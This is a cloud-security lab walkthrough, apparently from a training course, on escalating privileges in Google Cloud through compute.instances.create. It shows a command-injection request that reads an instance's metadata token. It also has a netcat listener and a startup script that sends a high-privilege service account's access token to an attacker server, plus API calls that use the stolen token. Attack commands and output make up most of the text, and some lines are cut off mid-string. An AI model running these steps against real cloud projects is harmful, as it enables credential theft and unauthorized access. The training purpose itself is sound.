Privilege Escalation Through compute.instances.create

During the creation of a new compute instance, a user is able to specify whether a new service account should be created and attached or if a specific existing service account should be attached. If an attacker is able to gather credentials that allows them to create a new instance and attach a specific service account, they can leverage that access to gather the credentials of the attached service account and escalate their privileges.

To begin, we'll need to grab the access token of the service account attached to the **osquery-3 server**.

Collect the access token:

```
curl -G "http://34.86.27.241/net_health" -v --data-urlencode "cmd=ifconfig; /usr/bin/python -c 'print(\"---START---\"); import urllib2; headers = {\"Metadata-Flavor\" : \"Google\",};
```

We should see output similar to the following:

```
{&#34;access_token&#34;:&#34;ya2...ACCESS_TOKEN_TARGET_ONE...66Y&#34;,&#34;expires_in&#34;:3120,&#34;token_type&#34;:&#34;Bearer&#34;}
```

The " are double quotes (e.g. "), so translated it looks more like...

```
{"access_token":"ya2...ACCESS_TOKEN_TARGET_ONE...66Y","expires_in":3120,"token_type":"Bearer"}
```

Once we have our credentials, we can attempt to perform an API interaction with our credentials such as listing storage bucket.

```
curl -X GET -H "Authorization: Bearer <access token>" \
  "https://storage.googleapis.com/storage/v1/b?project=gcptrainingGCF001"
```

This responds with something similar to:

```
{
  "error": {
    "code": 403,
    "message": "477308364307-compute@developer.gserviceaccount.com does not have storage.buckets.list access to the Google Cloud project.",
    "errors": [
      {
        "message": "477308364307-compute@developer.gserviceaccount.com does not have storage.buckets.list access to the Google Cloud project.",
        "domain": "global",
        "reason": "forbidden"
      }
    ]
  }
}
```

Clearly, we do not have the privileges to list storage buckets but maybe if we launch a GCE instance and attach a different service account, we'll be able to escalate our privileges.

First off, let's see if our account has privileges to list other service accounts that we might be interested in:

```
curl -X GET -H "Authorization: Bearer <access token>" https://iam.googleapis.com/v1/projects/gcptrainingggcf001/serviceAccounts
```

This returns something similar to:

```
{
  "accounts": [
    {
      "name": "projects/gcptrainingggcf001/serviceAccounts/super-power-service-account@gcptrainingggcf001.iam.gserviceaccount.com",
      "projectId": "gcptrainingggcf001",
      "uniqueId": "100268264490012018701",
      "email": "super-power-service-account@gcptrainingggcf001.iam.gserviceaccount.com",
      "displayName": "super-power-service-account",
      "etag": "MDEwMjE5MjA=",
      "oauth2ClientId": "100268264490012018701"
    },
    {
      "name": "projects/gcptrainingggcf001/serviceAccounts/477308364307-compute@developer.gserviceaccount.com",
      "projectId": "gcptrainingggcf001",
      "uniqueId": "115270811715617419446",
      "email": "477308364307-compute@developer.gserviceaccount.com",
      "displayName": "Compute Engine default service account",
      "etag": "MDEwMjE5MjA=",
      "oauth2ClientId": "115270811715617419446"
    },
    {
      "name": "projects/gcptrainingggcf001/serviceAccounts/gcptrainingggcf001@appspot.gserviceaccount.com",
      "projectId": "gcptrainingggcf001",
      "uniqueId": "112577961021071764560",
      "email": "gcptrainingggcf001@appspot.gserviceaccount.com",
      "displayName": "App Engine default service account",
      "etag": "MDEwMjE5MjA=",
      "oauth2ClientId": "112577961021071764560"
    }
  ]
}
```

Let's try to build a compute instance and attach the super-power-service-account to it. In order to gather the service account access token once the compute instance launches, we'll need to leverage a user script that will be executed during the boot up of the instance. This script will send a POST request back to our server and in the body of the request will be the access_token of the newly attached service account.

Setup a netcat listener on port 80 on your server.

```
curl ipcurl.net/n
nc -l -p 80
```

We need to describe the compute instance we're going to create in a local JSON file. Create a file named data3.json and put the following JSON in it. Make sure to update the ### fields with your student ID and the SERVER_IP field with the address of your server.

```
{
    "name": "temporary-###",
    "machineType": "zones/us-east4-c/machineTypes/e2-small",
    "metadata": {
        "items": [
            {
                "key": "startup-script",
                "value": "#!/bin/bash\napt update\napt install -y curl\ncurl SERVER_IP/gce_token -d $(curl -H 'Metadata-Flavor: Google' http://169.254.169.254/computeMetadata/v1/insta
            }
        ]
    },
    "networkInterfaces": [
        {
            "accessConfigs": [
                {
                    "type": "ONE_TO_ONE_NAT",
                    "name": "External NAT"
                }
            ],
            "network": "global/networks/default"
        }
    ],
    "serviceAccounts": [
        {
            "email": "super-power-service-account@gcptrainingggcf001.iam.gserviceaccount.com",
            "scopes": [
                "https://www.googleapis.com/auth/cloud-platform",
                "https://www.googleapis.com/auth/iam"
            ]
        }
    ],
    "disks": [
        {
            "autoDelete": "true",
            "boot": "true",
            "type": "PERSISTENT",
            "initializeParams": {
                "sourceImage": "projects/debian-cloud/global/images/family/debian-10",
            }
        }
    ]
}
```

Save data3.json so it may be referenced in the following curl request to deploy the compute instance:

```
curl -H 'content-type: application/json' -H "Authorization: Bearer <access_token>" --data @data3.json \
https://compute.googleapis.com/compute/v1/projects/gcptrainingggcf001/zones/us-east4-c/instances
```

After the compute instance launches, the user script will run and send an access token for the service account to the netcat listener.

Results should like similar to this:

```
root@osquery-1:/home/michael_butler# nc -l -p 80
POST /gce_token HTTP/1.1
Host: 10.150.0.4
User-Agent: curl/7.52.1
Accept: */*
Content-Length: 212
Content-Type: application/x-www-form-urlencoded
{"access_token":"<token>","expires_in":3590,"token_type":"Bearer"}
```

Now that we have the access_token, we can attempt listening the storage buckets again.

```
curl -X GET -H "Authorization: Bearer <access token>" "https://storage.googleapis.com/storage/v1/b?project=gcptrainingGCF001"
```

And this time we find success:


```
    {
      "kind": "storage#bucket",
      "selfLink": "https://www.googleapis.com/storage/v1/b/us.artifacts.gcptraininggcf001.appspot.com",
      "id": "us.artifacts.gcptraininggcf001.appspot.com",
      "name": "us.artifacts.gcptraininggcf001.appspot.com",
      "projectNumber": "477308364307",
      "metageneration": "1",
      "location": "US",
      "storageClass": "STANDARD",
      "etag": "CAE=",
      "timeCreated": "2020-07-31T04:34:51.483Z",
      "updated": "2020-07-31T04:34:51.483Z",
      "iamConfiguration": {
        "bucketPolicyOnly": {
          "enabled": false
        },
        "uniformBucketLevelAccess": {
          "enabled": false
        }
      },
      "locationType": "multi-region"
    }
```